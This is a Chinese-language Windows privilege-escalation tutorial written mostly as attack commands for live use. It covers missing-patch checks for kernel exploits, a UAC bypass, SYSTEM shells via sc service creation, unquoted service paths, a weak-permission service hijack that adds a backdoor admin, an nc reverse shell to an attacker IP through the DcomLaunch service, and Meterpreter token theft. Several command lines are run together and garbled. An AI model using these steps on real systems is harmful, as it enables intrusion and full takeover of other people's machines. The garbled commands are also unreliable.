一、常見(jiàn)提權(quán)方法
1、溢出漏洞提權(quán)
2、數(shù)據(jù)庫(kù)提權(quán)
3、第三方軟件提權(quán)
二、Cmd命令無(wú)法執(zhí)行原因分析
1、Cmd命令無(wú)法執(zhí)行分析
主要原因是cmd.exe被管理員降權(quán)或刪除,也有可能組件被刪除。
2、Cmd命令執(zhí)行解決方法
通過(guò)腳本木馬查找可讀可寫(xiě)目錄,上傳cmd,調(diào)用cmd路徑執(zhí)行命令(找可讀可寫(xiě)目錄不要選帶空格目錄)。
setp c:\路徑...\cmd.exe #切換至上傳的cmd來(lái)執(zhí)行命令
三、提權(quán)常用命令講解
whoami ——查看用戶權(quán)限
systeminfo ——查看操作系統(tǒng),補(bǔ)丁情況
ipconfig——查看當(dāng)前服務(wù)器
IPipconfig/allnet user——查看當(dāng)前用戶情況
netstat ——查看當(dāng)前網(wǎng)絡(luò)連接情況
netstat –ano/netstat –an|find“ESTABLISHED”tasklist ——查看當(dāng)前進(jìn)程情況
tasklist/svctaskkill ——結(jié)束進(jìn)程
taskkill-PIDxxnet start ——啟動(dòng)服務(wù)net stop ——停止服務(wù)
?微軟官方時(shí)刻關(guān)注列表網(wǎng)址:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
比如常用的幾個(gè)已公布的 exp:KB2592799KB3000061KB2592799
??快速查找未打補(bǔ)丁的 exp,可以最安全的減少目標(biāo)機(jī)的未知錯(cuò)誤,以免影響業(yè)務(wù)。 命令行下執(zhí)行檢測(cè)未打補(bǔ)丁的命令如下:
systeminfo>micropoor.txt&(for%iin(KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780)do@typemicropoor.txt|@find/i"%i"||@echo%i you can fuck)&del/f/q/a micropoor.txt
?一般實(shí)戰(zhàn)中在類似 tmp 目錄等可寫(xiě)目錄下執(zhí)行:如 C:\tmp>
?目前已對(duì)外公開(kāi)exp注:
https://github.com/SecWiki/windows-kernel-exploits
四、溢出漏洞提權(quán)實(shí)戰(zhàn)測(cè)試
五、溢出漏洞安全防范
??及時(shí)通過(guò)Windows Update或第三方工具360更新補(bǔ)丁

UAC介紹
UAC(User Account Control)是微軟在 Windows Vista 以后版本引入的一種安全機(jī)制,通過(guò) UAC,應(yīng)用程序和任務(wù)可始終在非管理員帳戶的安全上下文中運(yùn)行,除非管理員特別授予管理員級(jí)別的系統(tǒng)訪問(wèn)權(quán)限。
當(dāng)前獲得的權(quán)限是存在于管理員組的時(shí)候但是并且是administrator這個(gè)用戶,此時(shí)就可能需要我們進(jìn)行繞過(guò)UAC的操作,否則雖然是管理員組但是實(shí)際上并沒(méi)有管理員所對(duì)應(yīng)的高權(quán)限操作,這個(gè)時(shí)候就需要bypass uac
windows 7、8、08、12、16
sc 命令提權(quán)(administrator–>system)
ps:經(jīng)測(cè)試03也可以。
關(guān)于sc命令:
SC 是用于與服務(wù)控制管理器和服務(wù)進(jìn)行通信的命令行程序。提供的功能類似于“控制面板”中“管理工具”項(xiàng)中的“服務(wù)”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
這個(gè)命令的意思是創(chuàng)建一個(gè)名叫syscmd的新的交互式的cmd服務(wù)然后執(zhí)行
sc start systcmd,就得到了一個(gè)system權(quán)限的cmd環(huán)境

不帶引號(hào)的服務(wù)路徑
<meta charset="utf-8">
Windows命令解釋程序可能會(huì)遇到名稱中的空格,并且沒(méi)有包裝在引號(hào)中的時(shí)候。就有可能出現(xiàn)解析漏洞,如下述路徑,C:\Program Files\Vulnerable.exe中存在空格,此時(shí)在C盤(pán)根目錄上傳Program.exe文件時(shí),就會(huì)被目標(biāo)開(kāi)機(jī)自啟動(dòng)。如果無(wú)效,還可以嘗試在C:\Program Files路徑下上傳Vulnerable.exe文件。
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
我們可以使用以下命令查看錯(cuò)誤配置的路徑
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
4.4、利用不安全的服務(wù)權(quán)限
即使正確引用了服務(wù)路徑,也可能存在其他漏洞。由于管理配置錯(cuò)誤,用戶可能對(duì)服務(wù)擁有過(guò)多的權(quán)限,例如,可以直接修改它。
AccessChk工具可以用來(lái)查找用戶可以修改的服務(wù):
accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *
sc命令也可以用來(lái)查找用戶可以修改的服務(wù):
sc qc “Service” #查找可以修改的服務(wù)
sc config PFNET binpath= “net user rottenadmin P@ssword123! /add”
sc stop PFNET
sc start PFNET
每當(dāng)我們開(kāi)啟服務(wù)時(shí)sc命令都返回了一個(gè)錯(cuò)誤。這是因?yàn)閚et user命令沒(méi)有指向二進(jìn)制服務(wù),因此SCM無(wú)法 與服務(wù)進(jìn)行通信,通過(guò)使用執(zhí)行自動(dòng)遷移到新進(jìn)程的payload,手動(dòng)遷移進(jìn)程,或者在執(zhí)行后將服務(wù)的bin路徑設(shè)置回原始服務(wù)二進(jìn)制文件,可以解決這個(gè)問(wèn)題?;蛘呶覀?cè)跈?quán)限允許的情況下,將我們的木馬放到服務(wù)目錄下,并重命名為服務(wù)啟動(dòng)的應(yīng)用名稱。電腦重啟時(shí)即可獲得一個(gè)system的shell
完整案例:
①、利用系統(tǒng)自帶的 DcomLaunch服務(wù)測(cè)試(此服務(wù)Power User組低權(quán)可操作)
“sc qc DcomLaunch”命令查詢DcomLaunch的詳細(xì)信息
net start | find "DCOM Server Process Launcher" 查看服務(wù)是否啟動(dòng)
運(yùn)行 tasklist /svc 找到對(duì)應(yīng)服務(wù)
②、修改服務(wù)并獲取系統(tǒng)權(quán)限
這里要配置使用nc反彈shell到我的攻擊機(jī)上,把nc放到c:\windows\temp目錄下,使用sc對(duì)服務(wù)進(jìn)行修改
sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe"
?注意binpath=后面一定要有個(gè)空格,IP為攻擊者IP
③、查看是否第二步成功
sc qc DcomLaunch
④、配置賬號(hào)密碼
sc config DcomLaunch obj= ".\LocalSystem" password= ""
obj:指定運(yùn)行服務(wù)將使用的帳戶名,或指定運(yùn)行驅(qū)動(dòng)程序?qū)⑹褂玫?Windows 驅(qū)動(dòng)程序?qū)ο竺?。默認(rèn)設(shè)置為 LocalSystem。
password:指定一個(gè)密碼。如果使用了非 LocalSystem 的帳戶,則此項(xiàng)是必需的。
⑤、重啟服務(wù)
net start DcomLaunch
⑥、攻擊機(jī)上用nc進(jìn)行監(jiān)聽(tīng)4433即可得到反彈的shell
nc.exe -vv -l -p 4433
4.5、計(jì)劃任務(wù)
如果攻擊者對(duì)以高權(quán)限運(yùn)行的任務(wù)所在的目錄具有寫(xiě)權(quán)限,就可以使用惡意程序覆蓋原來(lái)的程序,這樣在下次計(jì)劃執(zhí)行時(shí),就會(huì)以高權(quán)限來(lái)運(yùn)行惡意程序。
schtasks /query /fo LIST /v #查看計(jì)算機(jī)的計(jì)劃任務(wù)
accesschk.exe -dqv "D:\test" -accepteula #查看指定目錄的權(quán)限配置情況
4.6、Meterpreter基礎(chǔ)提權(quán)
首先在Meterpreter會(huì)話執(zhí)行ps命令查看目標(biāo)機(jī)當(dāng)前進(jìn)程:
假設(shè)此處看到了一個(gè)進(jìn)程,運(yùn)行賬戶是域管理員,我們可以再第一欄找到對(duì)應(yīng)的進(jìn)程PID,(實(shí)際我們這里找個(gè)任意的SYSTEM賬戶運(yùn)行的進(jìn)程),PID為2584:
然后我們可以執(zhí)行以下語(yǔ)句竊取該用戶進(jìn)程的令牌:
steal_token 2584
五、溢出漏洞安全防范
??及時(shí)通過(guò)Windows Update或第三方工具360更新補(bǔ)丁
在dos命令窗口輸入systeminfo 命令回車,顯示所有系統(tǒng)補(bǔ)丁相關(guān)信息
